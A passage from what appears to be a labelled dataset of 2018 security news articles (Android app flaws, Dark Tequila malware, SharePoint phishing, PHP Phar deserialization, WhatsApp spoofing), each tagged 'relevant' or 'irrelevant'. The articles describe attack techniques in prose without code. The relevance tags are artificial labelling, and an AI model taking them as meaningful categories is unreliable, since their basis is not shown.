were Google Translate, Yandex Translate, Google Voice Typing, LG Application Manager, LG World, Google Text-to-Speech, and Xiaomi Browser. Google, which itself doesn't follow its security guidelines, acknowledged and fixed some affected applications and is in the process of fixing other vulnerable apps as well, Check Point said. Besides Google, the researchers also approached the developers of other vulnerable applications as well, but some, including, Xiaomi declined to fix the issue, according to the researchers. ""Upon discovery of these application vulnerabilities, we contacted Google, Xiaomi, and vendors of other vulnerable applications to update them and request their response,"" Check Point researchers said. ""A fix to the applications of Google was released shortly after, additional vulnerable applications are being updated and will be disclosed once the patch is made available to their users, while Xiaomi chose not to address it at this time."" The researchers stressed they only tested a small number of major applications and therefore expect the issue affects a more significant number of Android apps than what they explicitly noted, leaving millions of Android users potentially vulnerable to cyber threats.",relevant
"Dark Tequila Banking Malware Uncovered After 5 Years of Activity Security researchers at Kaspersky Labs have uncovered a new, complex malware campaign that has been targeting customers of several Mexican banking institutions since at least 2013. Dubbed Dark Tequila, the campaign delivers an advanced keylogger malware that managed to stay under the radar for five years due to its highly targeted nature and a few evasion techniques. Dark Tequila has primarily been designed to steal victims' financial information from a long list of online banking sites, as well as login credentials to popular websites, ranging from code versioning repositories to public file storage accounts and domain registrars. The list of targeted sites includes ""Cpanels, Plesk, online flight reservation systems, Microsoft Office 365, IBM Lotus Notes clients, Zimbra email, Bitbucket, Amazon, GoDaddy, Register, Namecheap, Dropbox, Softlayer, Rackspace, and other services,"" the researchers say in a blog post. The malware gets delivered to the victims' computers in the first place either via spear-phishing or infected USB devices. Once executed, a multi-stage payload infects the victim's computer only after certain conditions are met, which includes checking if the infected computer has any antivirus or security suite installed or is running in an analysis environment. Besides this, ""the threat actor behind it strictly monitors and controls all operations. If there is a casual infection, which is not in Mexico or is not of interest, the malware is uninstalled remotely from the victim's machine,"" the researchers say. The Dark Tequila malware basically includes 6 primary modules, as follows: 1. C&C – This part of the malware manages communication between the infected computer and the command and control (C&C) server and also responsible for monitoring man-in-the-middle attacks to defend against malware analysis. 2. CleanUp – While performing evasion techniques, if the malware detects any 'suspicious' activity—like running on a virtual machine or debugging tools—it performs a full cleanup of the infected system, removing the persistence service as well as forensic evidence of its presence. 3. Keylogger – This module has been designed to monitor the system and logs keystrokes to steal login credentials for a preloaded list of websites—both banking as well as other popular sites. 4. Information Stealer – This password stealing module extracts saved passwords from email and FTP clients, as well as browsers. 5. The USB Infector – This module replicates itself and infects additional computers via USB drives. It copies an executable file to a removable drive that runs automatically when plugged to other systems. 6. Service Watchdog – This module is responsible for making sure that the malware is running properly. According to the researchers, the Dark Tequila campaign is still active and can be deployed in any part of the world to attack any target ""according to the interests of the threat actor behind it."" To protect yourself, you are recommended to always be vigilant of suspicious emails and keep a good antivirus solution to protect against such threats before they infect you or your network. Most importantly, avoid connecting untrusted removable and USB devices to your computer, and consider disabling auto-run on USB devices.",irrelevant
"Email Phishers Using New Way to Bypass Microsoft Office 365 Protections Phishing works no matter how hard a company tries to protect its customers or employees. Security researchers have been warning of a new phishing attack that cybercriminals and email scammers are using in the wild to bypass the Advanced Threat Protection (ATP) mechanism implemented by widely used email services like Microsoft Office 365. Microsoft Office 365 is an all-in-solution for users that offers several different online services, including Exchange Online, SharePoint Online, Lync Online and other Office Web Apps, like Word, Excel, PowerPoint, Outlook and OneNote. On the top of these services, Microsoft also offers an artificial intelligence and machine learning powered security protection to help defend against potential phishing and other threats by going one level deep to scan the links in the email bodies to look for any blacklisted or suspicious domain. But as I said, phishers always find a way to bypass security protections in order to victimize users. Just over a month ago, the scammers were found using the ZeroFont technique to mimic a popular company and tricked users into giving away their personal and banking information. In May 2018, cybercriminals had also been found splitting up the malicious URL in a way that the Safe Links security feature in Office 365 fails to identify and replace the partial hyperlink, eventually redirecting victims to the phishing site. How SharePoint Phishing Attack Works? microsoft office 365 sharepoint phishing attack These issues were then addressed by Microsoft at its end, but phishers have now been found using a new trick to bypass Office 365's built-in security protections and phish users—this time by inserting malicious links into SharePoint documents. The same cloud security company Avanan, which discovered the two above-mentioned phishing attacks, uncovered a new phishing email campaign in the wild targeting Office 365 users, who are receiving emails from Microsoft containing a link to a SharePoint document. The body of the email message looks identical to a standard SharePoint invitation from someone to collaborate. Once the user clicked the hyperlink in the email, the browser automatically opens a SharePoint file. The content of the SharePoint file impersonates a standard access request to a OneDrive file, but an 'Access Document' button on the file is actually hyperlinked to a malicious URL, according to the researchers. The malicious link then redirects the victim to a spoofed Office 365 login screen, asking the user to enter his/her login credentials, which are then harvested by hackers. microsoft office 365 sharepoint phishing attack Microsoft scans the body of an email, including the links provided in it, but since the links in the latest email campaign lead to an actual SharePoint document, the company did not identify it as a threat. ""In order to identify this threat, Microsoft would have to scan links within shared documents for phishing URLs. This presents a clear vulnerability that hackers have taken advantage of to propagate phishing attacks,"" the researchers said. ""Even if Microsoft were to scan links within files, they would face another challenge: they could not blacklist the URL without blacklisting links to all SharePoint files. If they blacklisted the full URL of the Sharepoint file, the hackers could easily create a new URL."" Therefore no protection would be able to alert users of phishing, until and unless they are not trained enough to detect such phishing attempts. microsoft office 365 phishing attack According to the cloud security company, this new phishing attack was leveraged against 10 percent of its Office 365 customers over the past two weeks, and the firm believes the same percentage applies to Office 365 users globally. So, in order to protect yourself, you should be suspicious of the URLs in the email body if it uses URGENT or ACTION REQUIRED in the subject line, even if you are receiving emails that appear safe. When presented a login page, you are recommended to always check the address bar in the web browser to know whether the URL is actually hosted by the legitimate service or not. Most importantly, always use two-factor authentication (2FA), so even if attackers gain access to your password, they still need to struggle for the second authentication step. However, researchers noted that if this attack would have involved links to trigger a malware download rather than directing users to a phishing page, ""the attack would have caused damage by the time the user clicked and investigated the URL.""",relevant
"Microsoft Releases Patches for 60 Flaws—Two Under Active Attack Get your update caps on. Just a few minutes ago Microsoft released its latest monthly Patch Tuesday update for August 2018, patching a total of 60 vulnerabilities, of which 19 are rated as critical. The updates patch flaws in Microsoft Windows, Edge Browser, Internet Explorer, Office, ChakraCore, .NET Framework, Exchange Server, Microsoft SQL Server and Visual Studio. Two of these vulnerabilities patched by the tech giant is listed as publicly known and being exploited in the wild at the time of release. According to the advisory released by Microsoft, all 19 critical-rated vulnerabilities lead to remote code execution (RCE), some of which could eventually allow attackers to take control of the affected system if exploited successfully. Besides this, Microsoft has also addressed 39 important flaws, one moderate and one low in severity. Here below we have listed brief details of a few critical and publically exploited important vulnerabilities: Internet Explorer Memory Corruption Vulnerability (CVE-2018-8373) The first vulnerability under active attack is a critical remote code execution vulnerability that was revealed by Trend Micro last month and affected all supported versions of Windows. Internet Explorer 9, 10 and 11 are vulnerable to a memory corruption issue that could allow remote attackers to take control of the vulnerable systems just by convincing users to view a specially crafted website through Internet Explorer. ""An attacker could also embed an ActiveX control marked 'safe for initialization' in an application or Microsoft Office document that hosts the IE rendering engine,"" Microsoft says in its advisory. Windows Shell Remote Code Execution Vulnerability (CVE-2018-8414) The second publicly known and actively exploited flaw resides in the Windows Shell, which originates due to improper validation of file paths. The arbitrary code can be executed on the targeted system by convincing victims into opening a specially crafted file received via an email or a web page. Microsoft SQL Server RCE (CVE-2018-8273) Microsoft SQL Server 2016 and 2017 are vulnerable to a buffer overflow vulnerability that could be exploited remotely by an attacker to execute arbitrary code in the context of the SQL Server Database Engine service account. Successful exploitation of the vulnerability requires a remote attacker to submit a specially crafted query to an affected SQL server. Windows PDF Remote Code Execution Vulnerability (CVE-2018-8350) Windows 10 systems with Microsoft Edge set as the default browser can be compromised merely by convincing users to view a website. Due to improper handling of the objects in the memory, Windows 10's PDF library could be exploited by a remote attacker to execute arbitrary code on the targeted system. ""The attacker could also take advantage of compromised websites or websites that accept or host user-provided content or advertisements, by adding specially crafted PDF content to such sites,"" Microsoft says in its advisory. ""Only Windows 10 systems with Microsoft Edge set as the default browser can be compromised simply by viewing a website."" Microsoft Exchange Memory Corruption Vulnerability (CVE-2018-8302) This vulnerability resides in the way this software handles objects in memory, allowing a remote attacker to run arbitrary code in the context of the System user just by sending a specially crafted email to the vulnerable Exchange server. The flaw affects Microsoft Exchange Server 2010, 2013 and 2016. Microsoft Graphics Remote Code Execution Vulnerability (CVE-2018-8344) Microsoft revealed that Windows font library improperly handles specially crafted embedded fonts, which could allow attackers to take control of the affected system by serving maliciously embedded fonts via a specially crafted website and document file. This vulnerability affects Windows 10, 8.1, and 7, and Windows Server 2016 and 2012. LNK Remote Code Execution Vulnerability (CVE-2018-8345) This vulnerability exists in .LNK shortcut file format used by Microsoft Windows 10, 8.1, 7 and Windows Server editions. An attacker can use malicious .LNK file and an associated malicious binary to execute arbitrary code on the targeted system. Successful exploitation of this vulnerability could allow attackers to gain the same user rights on the target Windows system as the local user. According to the Microsoft advisory, users accounts configured with fewer user rights on the system are less impacted by this vulnerability than users who operate with administrative user rights. GDI+ Remote Code Execution Vulnerability (CVE-2018-8397) This RCE flaw resides in the way Windows Graphics Device Interface (GDI) handles objects in the memory, allowing an attacker to take control of the affected system if exploited successfully. ""An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights,"" Microsoft says in its advisory explaining the flaw. ""Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights."" The vulnerability affects Windows 7 and Windows Server 2008. Besides this, Microsoft has also pushed security updates to patch vulnerabilities in Adobe products, details of which you can get through a separate article posted today. Users are strongly advised to apply security patches as soon as possible to keep hackers and cybercriminals away from taking control of their computers. For installing security updates, directly head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually.",relevant
"Former Microsoft Engineer Gets Prison for Role in Reveton Ransomware A former Microsoft network engineer who was charged in April this year has now been sentenced to 18 months in prison after pleading guilty to money laundering in connection with the Reveton ransomware. Reveton malware is old ransomware, also known as scareware or police ransomware that instead of encrypting files locks the screen of victims' computers and displays a message purporting to come from a national law enforcement agency. The splash screen of the malware was designed to falsely tell unsuspecting victims that they have been caught doing illegal or malicious activities online or the law enforcement had found illegal material on their computer, forcing users to make pay a ""fine"" of $200-300 within 48 hours to regain access to their computers. Raymond Odigie Uadiale, 41-year-old, who worked as a Microsoft network engineer, is not the actual author of the Reveton ransomware, but he helped the Reveton distributor, residing in the UK and identified as the online moniker ""K!NG,"" in cashing out ransom money collected from victims in the form of Green Dot MoneyPak prepaid vouchers. Uadiale, who was a student at Florida International University at the time of his crime in 2012 and 2013, was said to have acquired MoneyPak debit cards under the fake name of Mike Roland and received payments from victims of Reveton. Using Liberty Reserve service, Uadiale then transferred $93,640 into accounts of his unnamed co-conspirator in the United Kingdom, after keeping his 30 percent cut. microsoft reveton police ransomware Liberty Reserve was itself closed down by US authorities in May 2013, after its creator pleaded guilty to laundering hundreds of millions of dollars through the digital currency exchange and was sentenced to 20 years in prison. In the Southern Florida US District Court on Monday, Uadiale was given an 18-month prison sentence and three years of supervised release, after he agreed to a plea agreement that dismissed the second count of substantive money laundering. ""The indictment charged Uadiale with one count of conspiracy to commit money laundering and one count of substantive money laundering. As part of the plea agreement, the government dismissed the substantive count."" ""By cashing out and then laundering victim payments, Raymond Uadiale played an essential role in an international criminal operation that victimized unsuspecting Americans by infecting their computers with malicious ransomware,"" said Assistant Attorney General Brian Benczkowski. Microsoft hired Uadiale as a network engineer after the conspiracy charged related to the ransomware scheme in the indictment ended.",irrelevant
"Hackers Infect Over 200,000 MikroTik Routers With Crypto Mining Malware Security researchers have discovered at least three massive malware campaigns exploiting hundreds of thousands of unpatched MikroTik routers to secretly install cryptocurrency miners on computers connected to them. In all, the malware campaigns have compromised more than 210,000 routers from Latvian network hardware provider Mikrotik across the world, with the number still increasing as of writing. The hackers have been exploiting a known vulnerability in the Winbox component of MikroTik routers that was discovered in April this year and patched within a day of its discovery, which once again shows people's carelessness in applying security patches on time. The security flaw can potentially allow an attacker to gain unauthenticated, remote administrative access to any vulnerable MikroTik router. The first campaign, noticed by Trustwave researchers, began with targeting networking devices in Brazil, where a hacker or a group of hackers compromised more than 183,700 MikroTik routers. Since other hackers have also started exploiting MikroTik router vulnerability, the campaign is spreading on a global scale. Troy Mursch, another security researcher, has identified two similar malware campaigns that infected 25,500 and 16,000 MikroTik routers, mainly in Moldova, with malicious cryptocurrency mining code from infamous CoinHive service. The attackers are injecting Coinhive's Javascript into every web page that a user visits using a vulnerable router, eventually forcing every connected computer to unknowingly mine Monero cryptocurrency for the miscreants. ""The attacker created a custom error page with the CoinHive script in it"" and ""if a user receives an error page of any kind while web browsing, they will get this custom error page which will mine CoinHive for the attacker,"" says Trustwave researcher Simon Kenin. What's notable about this campaign is that how wisely the attackers are infecting a large number of devices at a time, instead of going after websites with few visitors or end users by using ""sophisticated ways"" to run malware on their computers. ""There are hundreds of thousands of these (MikroTik) devices around the globe, in use by ISPs and different organizations and businesses, each device serves at least tens if not hundreds of users daily,"" Kenin said. It's a good reminder for users and IT managers who are still running vulnerable MikroTik routers in their environment to patch their devices as soon as possible. A single patch, which is available since April is ""enough to stop this exploitation in its tracks."" This is not the first time MikroTik routers are targeted to spread malware. In March this year, a sophisticated APT hacking group exploited unknown vulnerabilities in MikroTik routers to covertly plant spyware into victims' computers.",irrelevant
"Hacker Who Leaked Celebrities' Personal Photos Gets 8 Months in Prison The fourth celebrity hacker—who was charged earlier this year with hacking into over 250 Apple iCloud accounts belonged to Jennifer Lawrence and other Hollywood celebrities—has been sentenced to eight months in prison. Earlier this year, George Garofano, 26, of North Branford, admitted to illegally obtaining credentials of his victims' iCloud accounts using a phishing scheme, carried out from April 2013 to October 2014, in which he posed as a member of Apple's security team and tricked victims into revealing their iCloud credentials. Using stolen credentials, Garofano then managed to steal victims' personal information, including their sensitive and intimate photographs and videos, from their iCloud accounts, and then leaked them on online forums, like 4Chan. Among the victims were Jennifer Lawrence, Kim Kardashian, Kirsten Dunst, Kate Upton, American Olympic gold medallist Misty May Treanor and actors Alexandra Chando, Kelli Garner and Lauren O'Neil. While prosecutors asked for a sentence of at least 10 to 16 months in prison, Garofano's lawyer requested the judge to give his client a lighter sentence of five months in prison and another five months of home confinement. However, a federal judge at the US district court in Bridgeport on Wednesday sentenced Garofano to 8 months in prison and 3 years of supervised release after his prison term is over. Garofano is one of the four hackers who stole and leaked celebrities' photographs in the 2014 event, which is well known as ""The Fappening"" or ""Celebgate"" scandal. The other three Celebgate hackers had already been sentenced for their roles in the celebrity photo hack: Edward Majerczyk, 28, was sentenced to nine months in prison after pleading guilty to felony hacking and violating Computer Fraud and Abuse Act. Ryan Collins, 36, was sentenced to 18 months in prison after pleading guilty to the same. Emilio Herrera, 32, pled guilty to the same but is still awaiting his sentencing. While the US Attorney says there's no evidence that Majerczyk, Collins, or Herrera shared or posted the stolen photos online, prosecutors allege that Garofano, in some instances, also traded the stolen iCloud credentials and the victims' intimate images with other people. Garofano, who is released on a $50,000 bond, will surrender on October 10, 2018, to serve his prison sentence. The judge has also ordered Garofano to perform 60 hours of community service while he is on supervised release.",irrelevant
"New PHP Code Execution Attack Puts WordPress Sites at Risk Sam Thomas, a security researcher from Secarma, has discovered a new exploitation technique that could make it easier for hackers to trigger critical deserialization vulnerabilities in PHP programming language using previously low-risk considered functions. The new technique leaves hundreds of thousands of web applications open to remote code execution attacks, including websites powered by some popular content management systems like WordPress and Typo3. PHP unserialization or object injection vulnerabilities were initially documented in 2009, which could allow an attacker to perform different kinds of attacks by supplying malicious inputs to the unserialize() PHP function. If you are unaware, serialization is the process of converting data objects into a plain string, and unserialize function help program recreate an object back from a string. Thomas found that an attacker can use low-risk functions against Phar archives to trigger deserialization attack without requiring the use of unserialize() function in a wide range of scenarios. Phar files, an archive format in PHP, stores metadata in a serialized format, which gets unserialized whenever a file operation function (fopen, file_exists, file_get_contents, etc.) tries to access the archive file. ""This is true for both direct file operations (such as ""file_exists"") and indirect operations such as those that occur during external entity processing within XML (i.e., when an XXE vulnerability is being exploited),"" Thomas said. Exploiting PHP Deserialization Attack Against WordPress Sites php deserialization attack In a detailed paper released at Black Hat conference last week, Thomas demonstrated how this attack can be executed against Wordpress sites using an author account to take full control over the web server. For successful exploitation of the flaw, all an attacker needs to do is upload a valid Phar archive containing the malicious payload object onto the target's local file system and make the file operation function access it using the ""phar://"" stream wrapper. Thomas also revealed that an attacker can even exploit this vulnerability using a JPEG image, originally a Phar archive converted into valid JPEG by modifying its first 100 bytes. ""The way certain thumbnail functionality within the application [WordPress] works enables an attacker with the privileges to upload and modify media items to gain sufficient control of the parameter used in a ""file_exists"" call to cause unserialization to occur,"" the researcher said. Once the crafted thumbnail uploaded on the targeted WordPress server, the attacker can use another function to call the same image file as a Phar archive using the ""phar://"" stream wrapper, eventually executing the arbitrary code when the program deserializes the metadata. ""The vulnerability exists due to insecure deserialization of data passed as an image file and then executed via the 'phar://' stream wrapper within the 'wp_get_attachment_thumb_file' function in '/wpincludes/post.php' script,"" an advisory reads. ""A remote authenticated attacker with the ability to create/edit posts can upload a malicious image and execute arbitrary PHP code on vulnerable system."" Thomas reported this vulnerability to the WordPress security team earlier last year, and the company acknowledged the issue. However, the patch released by the company did not address the problem completely. Thomas also reported the vulnerability to Typo3 on 9th June 2018, and the vendor addressed the issue in versions 7.6.30, 8.7.17 and 9.3. For more details about the vulnerability, you can head on to the detailed paper published by Secarma.",relevant
"Microsoft Detects More Russian Cyber Attacks Ahead of Mid-Term Election Microsoft claims to have uncovered another new Russian hacking attempts targeting United States' Senate and conservative think tanks ahead of the 2018 midterm elections. The tech giant said Tuesday that the APT28 hacking group—also known as Strontium, Fancy Bear, Sofacy, Sednit, and Pawn Storm, which is believed to be tied to the Russian government—created at least six fake websites related to US Senate and conservative organizations to trick its visitors and hack into their computers. Three fake web domains were intended to look as if they belonged to the U.S. Senate, while one non-political website spoofed Microsoft's own online products. The two other phony websites were designed to mimic two U.S. conservative organizations: The Hudson Institute — a conservative Washington think tank hosting extended discussions on topics including cybersecurity, among other important activities. The International Republican Institute (IRI) — a nonprofit group that promotes democracy worldwide and whose board includes prominent Republican figures like Sen. John McCain, R-Ariz., and former Republican National Committee Chairman Frank Fahrenkopf. Although there is no sign of hackers successful in getting any visitor to click on the fake websites, Microsoft said the fake sites were created over the past several months and registered with major web-hosting companies. fake election websites Microsoft did not go into more details, saying ""To be clear, we currently have no evidence these domains were used in any successful attacks before the DCU transferred control of them, nor do we have evidence to indicate the identity of the ultimate targets of any planned attack involving these domains."" Microsoft's Digital Crimes Unit disabled the fake websites, after obtaining court approval last year, which was executed just last week, effectively allowing the company to seize the fake domains created by APT28 before they were ""used in any successful attacks."" The tech giant has so far used the courts a dozen times since 2016 to shut down 84 fake websites created by APT28. While speaking at the Aspen Security Forum last month, Microsoft VP Tom Burt said the company also took down a fake domain registered by APT28, after discovering that it was established for phishing attacks against at least three congressional candidates. Active since at least 2007, the notorious hacking group has publicly been linked to the GRU (General Staff Main Intelligence Directorate), Russian secret military intelligence agency, and also been accused of a series of hacks in recent years, including the 2016 presidential election hack. In a memorandum filed early in the case, Microsoft said APT28 sought to ""establish a command and control infrastructure by which means Defendants conduct illegal activities, including attacks on computers and networks, monitoring of the activities of users, and the theft of information."" The revelation by Microsoft comes almost a month after US special counsel and former FBI director Robert Mueller filed charges against 12 Russian intelligence officers tied to the cyber attacks on the Democratic National Committee (DNC) during the 2016 election campaign.",irrelevant
"Snapchat Hack — Hacker Leaked Snapchat Source Code On GitHub The source code of the popular social media app Snapchat was recently surfaced online after a hacker leaked and posted it on the Microsoft-owned code repository GitHub. A GitHub account under the name Khaled Alshehri with the handle i5xx, who claimed to be from Pakistan, created a GitHub repository called Source-Snapchat with a description ""Source Code for SnapChat,"" publishing the code of what purported to be Snapchat's iOS app. The underlying code could potentially expose the company's extremely confidential information, like the entire design of the hugely-successful messaging app, how the app works and what future features are planned for the app. Snapchat's parent company, Snap Inc., responded to the leak by filing a copyright act request under the Digital Millennium Copyright Act (DMCA), helping it takedown the online repository hosting the Snapchat code. SnapChat Hack: Github Took Down Repository After DMCA Notice how to hack snapchat source code Though it is not clear precisely what secret information the leaked SnapChat code contained, the company's panic can be seen in the DMCA request (written in all-caps) which suggests the contents of the repository were legitimate. ""I AM [private] AT SNAP INC., OWNER OF THE LEAKED SOURCE CODE,"" a reply from a Snap employee, whose name is redacted, on the DMCA notice reads. Upon asking ""Please provide a detailed description of the original copyrighted work that has allegedly been infringed. If possible, include a URL to where it is posted online,"" the Snap employee responded: ""SNAPCHAT SOURCE CODE. IT WAS LEAKED AND A USER HAS PUT IT IN THIS GITHUB REPO. THERE IS NO URL TO POINT TO BECAUSE SNAP INC. DOESN'T PUBLISH IT PUBLICLY."" ""WE WOULD APPRECIATE YOU TAKE DOWN THE WHOLE THING."" Snap told several online news outlets that an iOS update in May exposed a ""small amount"" of its iOS source code. Although the company identified and rectified the mistake immediately, it discovered that some of the exposed code had been posted online. However, Snap did confirm that the code has been subsequently removed and that the event did not compromise its application and had no impact on its community. Hacker Threatens to Re-Upload Snapchat's Source Code It appears that the online user behind the source code leak created the Github account with the sole purpose of sharing the code as nothing else was posted on the account before or after the Snapchat leak. Moreover, some posts on Twitter by at least two individuals (one based in Pakistan and another in France) who appear to be behind the i5xx GitHub account suggest that they tried contacting Snapchat about the source-code and expecting a bug bounty reward. But when they did not get any response from the company, the account threatened to re-upload the source code until they get a reply from Snapchat. The snapchat app code has now been taken down by GitHub after the DMCA request, and will not be restored unless the original publisher comes up with a legal counterclaim proving he/she is the owner of the source-code. However, this does not rectify the issue completely. Since the Snapchat source code is still in the hands of outsiders, they could re-publish it on other online forums, or could use it for individual profit. But you should not worry, as the code can not be turned into spy apps or hacking tools to hack someone snapchat account.",irrelevant
"T-Mobile Hacked — 2 Million Customers' Personal Data Stolen T-Mobile today confirmed that the telecom giant suffered a security breach on its US servers on August 20 that may have resulted in the leak of ""some"" personal information of up to 2 million T-Mobile customers. The leaked information includes customers' name, billing zip code, phone number, email address, account number, and account type (prepaid or postpaid). However, the good news is that no financial information like credit card numbers, social security numbers, or passwords, were compromised in the security breach. According to a brief blog post published by the company detailing the incident, its cybersecurity team detected and shut down an ""unauthorized capture of some information"" on Monday, August 20. Although the company has not revealed how the hackers managed to hack into its servers neither it disclosed the exact number of customers affected by the data breach, a T-Mobile spokesperson told Motherboard that less than 3 percent of its 77 million customers were affected. The spokesperson also said that unknown hackers part of ""an international group"" managed to access T-Mobile servers through an API that ""didn't contain any financial data or other very sensitive data,"" adding ""We found it quickly and shut it down very fast."" T-Mobile said the company informed law enforcement about the security breach and is reaching out to its affected customers directly via SMS message, letter in the mail, or a phone call to notify them as well. ""We take the security of your information very seriously and have a number of safeguards in place to protect your personal information from unauthorized access,"" T-Mobile said. ""We truly regret that this incident occurred and are so sorry for any inconvenience this has caused you."" The U.S. telecom giant is also encouraging affected customers to contact its customer service through 611 for any information regarding the breach. The T-Mobile incident marks the latest high-profile data breach and adds itself to the list of that other recent high profile attacks took place against Carphone Warehouse that affected its 10 million customers, and Ticketmaster that affected tens of thousands of its customers. Did you receive any notification regarding this data breach? Let us know in the comments below.",irrelevant
"iPhone Chip Supplier TSMC Stops Production After Computer Virus Attack Taiwan Semiconductor Manufacturing Company (TSMC)—Apple's sole supplier of SoC components for iPhones and iPads, and Qualcomm's major manufacturing partner—shut down several of its chip-fabrication factories Friday night after being hit by a computer virus. The world's largest makers of semiconductors and processors TSMC lost an entire day of production after several of its factories systems were halted by a computer virus in the middle of the ramp-up for chips to be used by Apple's future lines of iPhones. Though the popular chip maker has been attacked by viruses in the past, this is the first time a virus has affected TSMC's production lines, making the incident a real big deal. Without revealing many details, TSMC said a number of its computer systems and fabrication tools were infected by the virus on Friday night, but since then it has recovered 80% of its impacted equipment, though others will be recovered by tomorrow. According to TSMC, the computer virus was not released into the fabrication factories by any hacker. Here's what happened according to the company: ""This virus outbreak occurred due to misoperation during the software installation process for a new tool, which caused a virus to spread once the tool was connected to the Company's computer network,"" TSMC said in a statement. ""Data integrity and confidential information was not compromised. TSMC has taken actions to close this security gap and further strengthen security measures."" TSMC Expects Attack to Inflict 250 Million Loss in Revenue However, it remains unclear how the virus infected the factories at the first place and who was responsible for it, and also, the company did not confirm if the affected facilities were involved in making iPhone chips. TSMC expects the shutdown will result in shipment delays and additional costs, and estimated that two days of outages will impact revenue by about 3 percent (approx. 250 Million), but is confident shipments delayed in the third quarter will be recovered in the fourth quarter 2018. Being the exclusive provider of Apple's A-series chipsets for 2018, TSMC started mass production of the 7-nanometer A12 chip in May seemingly destined to power the upcoming iPhone models. The 2018 iPhone models, which are expected to be officially announced on the 11th or 12th of September this year, will most likely include the A12 processor as the iPhone 8, iPhone 8 Plus, and iPhone X included the A11. However, it is unclear if the shut down would result in a delayed release for the devices. TSMC said the company has notified its customers of the event and added that it will work closely with them on their wafer deliveries. The details of the incident will be conveyed to each customer individually over the next few days. The chipmaker giant, which builds chips for many of the industry's biggest tech companies, including Apple, AMD, NVIDIA, and Qualcomm, promised more information about the incident on August 6th.",irrelevant
"TSMC Chip Maker Blames WannaCry Malware for Production Halt Taiwan Semiconductor Manufacturing Company (TSMC)—the world's largest makers of semiconductors and processors—was forced to shut down several of its chip-fabrication factories over the weekend after being hit by a computer virus. Now, it turns out that the computer virus outbreak at Taiwan chipmaker was the result of a variant of WannaCry—a massive ransomware attack that wreaked havoc across the world by shutting down hospitals, telecom providers, and many businesses in May 2017. TSMC shut down an entire day of production this weekend after several of its factories systems were halted by a computer virus in the middle of the ramp-up for chips to be used by Apple's future lines of iPhones, which could impact revenue by approx $256 million. According to the semiconductor manufacturer, its computer systems were not direct attacked by any hacker, but instead, were exposed to the malware ""when a supplier installed tainted software without a virus scan"" to TSMC's network. The virus then quickly spread to more than 10,000 machines in some of the company's most advanced facilities, including Tainan, Hsinchu, and Taichung—home to some of the cutting-edge fabrication plants that produce semiconductors for Apple. Although unnamed in its official statement, TSMC reportedly blamed a variant of the 2017 WannaCry ransomware attack for the infection. ""We are surprised and shocked,"" TSMC CEO C.C. Wei said, ""We have installed tens of thousands of tools before, and this is the first time this happened."" Claimed to be developed and spread by North Korea, the WannaCry ransomware shut down hospitals, telecom providers, and many businesses worldwide, infecting hundreds of thousands of computers in over 150 countries within just 72 hours in May 2017. The WannaCry victims included big names like Boeing, Renault, Honda, FedEx and the UK's National Health Service. The WannaCry worm was leveraging an NSA's Windows SMB exploit, known as EternalBlue, leaked by the infamous hacking group Shadow Brokers in its April data dump, along with other Windows exploits. TSMC assured its customers that no confidential information was stolen, and said the company has resumed full operations at its facilities, but shipment delays are expected. However, the chipmaker declined to discuss the implications for Apple, which is said to be ramping up production of 3 new iPhone models for this fall. Besides being Apple's sole supplier of SoC components for iPhones and iPads, TSMC also manufactures processors and other silicon chips for many of the industry's biggest tech companies, including AMD, NVIDIA, Qualcomm, and others.",irrelevant
"WhatsApp Flaw Lets Users Modify Group Chats to Spread Fake News WhatsApp, the most popular messaging application in the world, has been found vulnerable to multiple security vulnerabilities that could allow malicious users to intercept and modify the content of messages sent in both private as well as group conversations. Discovered by security researchers at Israeli security firm Check Point, the flaws take advantage of a loophole in WhatsApp's security protocols to change the content of the messages, allowing malicious users to create and spread misinformation or fake news from ""what appear to be trusted sources."" The flaws reside in the way WhatsApp mobile application connects with the WhatsApp Web and decrypts end-to-end encrypted messages using the protobuf2 protocol. The vulnerabilities could allow hackers to misuse the 'quote' feature in a WhatsApp group conversation to change the identity of the sender, or alter the content of someone else's reply to a group chat, or even send private messages to one of the group participants (but invisible to other members) disguised as a group message for all. In an example, the researchers were able to change a WhatsApp chat entry that said ""Great!""—sent by one member of a group—to read ""I'm going to die, in a hospital right now!"" It should be noted that the reported vulnerabilities do not allow a third person to intercept or modify end-to-end encrypted WhatsApp messages, but instead, the flaws could be exploited only by malicious users who are already part of group conversations. Video Demonstration — How to Modify WhatsApp Chats To exploit these vulnerabilities, the CheckPoint researchers—Dikla Barda, Roman Zaikin, and Oded Vanunu—created a new custom extension for the popular web application security software Burp Suite, allowing them to easily intercept and modify sent and received encrypted messages on their WhatsApp Web. The tool, which they named ""WhatsApp Protocol Decryption Burp Tool,"" is available for free on Github, and first requires an attacker to input its private and public keys, which can be obtained easily ""obtained from the key generation phase from WhatsApp Web before the QR code is generated,"" as explained by the trio in a blog post. ""By decrypting the WhatsApp communication, we were able to see all the parameters that are actually sent between the mobile version of WhatsApp and the Web version. This allowed us to then be able to manipulate them and start looking for security issues."" In the above-shown YouTube video, researchers demonstrated the three different techniques they have developed, which allowed them to: Attack 1 — Changing a Correspondent's Reply To Put Words in Their Mouth Using the Burp Suite extension, a malicious WhatsApp user can alter the content of someone else's reply, essentially putting words in their mouth, as shown in the video. Attack 2 — Change the Identity of a Sender in a Group Chat, Even If They Are Not a Member whatsapp hack burp suite extension The attack allows a malicious user in a WhatsApp group to exploit the 'quote' feature—that lets users reply to a past message within a chat by tagging it—in a conversation to spoof a reply message to impersonate another group member and even a non-existing group member. Attack 3 — Send a Private Message in a Chat Group But When The Recipient Replies, The Whole Group Sees It The third WhatsApp attack allows a malicious group user to send a specially crafted message that only a specific person will be able to see. If the targeted individual responds to the same message, only then its content will get displayed to everyone in the group. WhatsApp/Facebook Choose to Left Reported Attacks Unpatched The trio reported the flaws to the WhatsApp security team, but the company argued that since these messages do not break the fundamental functionality of the end-to-end encryption, users ""always have the option of blocking a sender who tries to spoof messages and they can report problematic content to us."" ""These are known design trade-offs that have been previously raised in public, including by Signal in a 2014 blog post, and we do not intend to make any change to WhatsApp at this time,"" WhatsApp security team replied to the researchers. Another argument WhatsApp shared with researchers, in context of why the company can not stop the modification of the message content—""This is a known edge case that relates to the fact that we do not store messages on our servers and do not have a single source of truth for these messages."" ""My point was the misinformation, and WhatsApp plays a vital role in our day activity. So, In my point of view they indeed have to fix these issues,"" CheckPoint researcher Roman Zaikin said. ""It's always functionality vs. security, and this time WhatsApp choose functionality."" Since WhatsApp has become one of the biggest tools to spread fake news and misinformation, 